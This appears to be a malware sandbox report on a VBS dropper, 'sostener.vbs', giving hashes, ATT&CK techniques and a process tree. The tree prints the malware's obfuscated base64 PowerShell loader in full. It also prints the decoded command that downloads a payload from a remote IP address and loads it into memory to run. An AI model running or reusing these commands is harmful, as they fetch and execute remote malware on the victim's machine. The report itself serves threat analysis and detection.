3c313c19ce509197f848990ef3837d2fdf55ed5d9eb2ddf2f1cd9f35e41bd664

General

Target

sostener.vbs
Size

3.3MB
MD5

619077e3c8387532a2d930e2b86c9ff7
SHA1

081166adc2aed980d757c61687838f53ecaf4224
SHA256

3c313c19ce509197f848990ef3837d2fdf55ed5d9eb2ddf2f1cd9f35e41bd664
SHA512

cce42eacddd12c0a541eacb5a772b5a2b70844154c31264b82a846cda4db488d8142e3cb09caada11a16eceae16884577f439892b2c4465d04df9fffbcff3323
SSDEEP

768:iooooLooooLooooLoooorooooLooooLooooLoooocooooLooooLooooLoooorooi:zDnM

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe
2492	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3044	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3044	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1116	powershell.exe
2492	powershell.exe
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 1116	1732	WScript.exe	31
PID 1732 wrote to memory of 1116	1732	WScript.exe	31
PID 1732 wrote to memory of 1116	1732	WScript.exe	31
PID 1116 wrote to memory of 2492	1116	powershell.exe	33
PID 1116 wrote to memory of 2492	1116	powershell.exe	33
PID 1116 wrote to memory of 2492	1116	powershell.exe	33
PID 2492 wrote to memory of 2744	2492	powershell.exe	34
PID 2492 wrote to memory of 2744	2492	powershell.exe	34
PID 2492 wrote to memory of 2744	2492	powershell.exe	34
PID 2492 wrote to memory of 3044	2492	powershell.exe	35
PID 2492 wrote to memory of 3044	2492	powershell.exe	35
PID 2492 wrote to memory of 3044	2492	powershell.exe	35
PID 2492 wrote to memory of 2956	2492	powershell.exe	36
PID 2492 wrote to memory of 2956	2492	powershell.exe	36
PID 2492 wrote to memory of 2956	2492	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹EM☹WQBy☹Eo☹U☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹I☹☹p☹C☹☹OwBJ☹G4☹dgBv☹Gs☹ZQ☹t☹Fc☹ZQBi☹FI☹ZQBx☹HU☹ZQBz☹HQ☹I☹☹t☹FU☹UgBJ☹C☹☹J☹BD☹EM☹UgBo☹G0☹I☹☹t☹E8☹dQB0☹EY☹aQBs☹GU☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹I☹Bw☹G8☹dwBl☹HI☹cwBo☹GU☹b☹Bs☹C4☹ZQB4☹GU☹I☹☹t☹GM☹bwBt☹G0☹YQBu☹GQ☹I☹B7☹C☹☹J☹BD☹Fk☹cgBK☹F☹☹I☹☹9☹C☹☹K☹☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹C☹☹KQ☹g☹Ds☹J☹Bn☹Ec☹aQBt☹EE☹I☹☹9☹C☹☹K☹☹g☹Ec☹ZQB0☹C0☹QwBv☹G4☹d☹Bl☹G4☹d☹☹g☹C0☹U☹Bh☹HQ☹a☹☹g☹CQ☹QwBZ☹HI☹SgBQ☹C☹☹KQ☹g☹Ds☹I☹B9☹C☹☹Ow☹k☹Hg☹awBs☹Gw☹a☹☹g☹D0☹I☹☹n☹D☹☹Jw☹g☹Ds☹J☹Bi☹H☹☹dgBy☹HY☹I☹☹9☹C☹☹Jw☹l☹Eo☹awBR☹GE☹cwBE☹GY☹ZwBy☹FQ☹Zw☹l☹Cc☹I☹☹7☹Fs☹QgB5☹HQ☹ZQBb☹F0☹XQ☹g☹CQ☹bQBx☹G8☹bgBz☹C☹☹PQ☹g☹Fs☹cwB5☹HM☹d☹Bl☹G0☹LgBD☹G8☹bgB2☹GU☹cgB0☹F0☹Og☹6☹EY☹cgBv☹G0☹QgBh☹HM☹ZQ☹2☹DQ☹UwB0☹HI☹aQBu☹Gc☹K☹☹g☹Cg☹I☹BH☹GU☹d☹☹t☹EM☹bwBu☹HQ☹ZQBu☹HQ☹I☹☹t☹F☹☹YQB0☹Gg☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹Ck☹LgBy☹GU☹c☹Bs☹GE☹YwBl☹Cg☹Jw☹k☹CQ☹Jw☹s☹Cc☹QQ☹n☹Ck☹I☹☹p☹C☹☹OwBb☹FM☹eQBz☹HQ☹ZQBt☹C4☹QQBw☹H☹☹R☹Bv☹G0☹YQBp☹G4☹XQ☹6☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹k☹G0☹cQBv☹G4☹cw☹p☹C4☹RwBl☹HQ☹V☹B5☹H☹☹ZQ☹o☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹p☹C4☹RwBl☹HQ☹TQBl☹HQ☹a☹Bv☹GQ☹K☹☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹p☹C4☹SQBu☹HY☹bwBr☹GU☹K☹☹k☹G4☹dQBs☹Gw☹L☹☹g☹Fs☹bwBi☹Go☹ZQBj☹HQ☹WwBd☹F0☹I☹☹o☹C☹☹JwBk☹EE☹Qg☹0☹EE☹S☹BR☹EE☹T☹Bn☹EI☹MgBB☹Ec☹O☹BB☹GI☹ZwBB☹DU☹QQBE☹EU☹QQBj☹Hc☹QgB2☹EE☹S☹BN☹EE☹T☹B3☹EI☹egBB☹Ec☹UQBB☹Fk☹UQBC☹HY☹QQBH☹Hc☹QQBi☹Gc☹Qg☹z☹EE☹Rw☹4☹EE☹WgBB☹EE☹dgBB☹EQ☹awBB☹E0☹UQBC☹Gw☹QQBI☹Ek☹QQBZ☹Gc☹QgB0☹EE☹RwBV☹EE☹YQBR☹EI☹MgBB☹Ec☹O☹BB☹GI☹ZwBB☹HY☹QQBD☹D☹☹QQBM☹FE☹QQ☹y☹EE☹R☹Bj☹EE☹TgBR☹EE☹M☹BB☹Eg☹SQBB☹GI☹dwBC☹D☹☹QQBH☹E0☹QQBa☹FE☹QgBv☹EE☹Qw☹4☹EE☹WgB3☹EI☹eQBB☹Ec☹O☹BB☹Ew☹ZwBC☹D☹☹QQBH☹FU☹QQBh☹Hc☹QgBq☹EE☹S☹BV☹EE☹WQBn☹EI☹M☹BB☹Ec☹awBB☹Fk☹ZwBB☹HY☹QQBD☹Dg☹QQBP☹Gc☹QgB6☹EE☹S☹BB☹EE☹Z☹BB☹EI☹M☹BB☹Ec☹ZwBB☹Cc☹I☹☹s☹C☹☹J☹Bi☹H☹☹dgBy☹HY☹I☹☹s☹C☹☹JwBf☹F8☹XwBf☹F8☹cwBj☹HM☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹LQ☹t☹C0☹LQ☹t☹C0☹LQ☹n☹Cw☹I☹☹k☹Hg☹awBs☹Gw☹a☹☹s☹C☹☹Jw☹x☹Cc☹L☹☹g☹Cc☹UgBv☹GQ☹YQ☹n☹C☹☹KQ☹p☹C☹☹Ow☹=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;Invoke-WebRequest -URI $CCRhm -OutFile $CYrJP -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ; powershell.exe -command { $CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;$gGimA = ( Get-Content -Path $CYrJP ) ; } ;$xkllh = '0' ;$bpvrv = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' ;[Byte[]] $mqons = [system.Convert]::FromBase64String( ( Get-Content -Path $CYrJP ).replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($mqons).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ( 'dAB4AHQALgB2AG8AbgA5ADEAcwBvAHMALwBzAGQAYQBvAGwAbgB3AG8AZAAvADkAMQBlAHIAYgBtAGUAaQB2AG8AbgAvAC0ALQA2ADcANQA0AHIAbwB0AGMAZQBoAC8AZwByAG8ALgB0AGUAawBjAHUAYgB0AGkAYgAvAC8AOgBzAHAAdAB0AGgA' , $bpvrv , '_____scs_______________________________________-------', $xkllh, '1', 'Roda' )) ;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:2744
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand IAAkAEMAWQByAEoAUAAgAD0AIAAoACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAIAApACAAOwAkAGcARwBpAG0AQQAgAD0AIAAoACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABDAFkAcgBKAFAAIAApACAAOwAgAA== -inputFormat xml -outputFormat text
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
49cb787cf38794aca3859c95c442191c

SHA1
f43ac0cb666df4ea4e84f66969299981d5e4f362

SHA256
b6f276901ec035694365845b2eb6aa828afc8e3e7a244203123c521ba8e22c65

SHA512
7ed6cf083eff0cf63f872430451230004e6ea63bf748754d2c9c8077cc660c5716b6472956f46ff2f99bfd0e108f6b7e2533db384f287a6abbad7ac7a068b9c5

Download Submit
memory/1116-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/1116-6-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/1116-5-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-7-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/1116-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-17-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/1116-18-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/1116-24-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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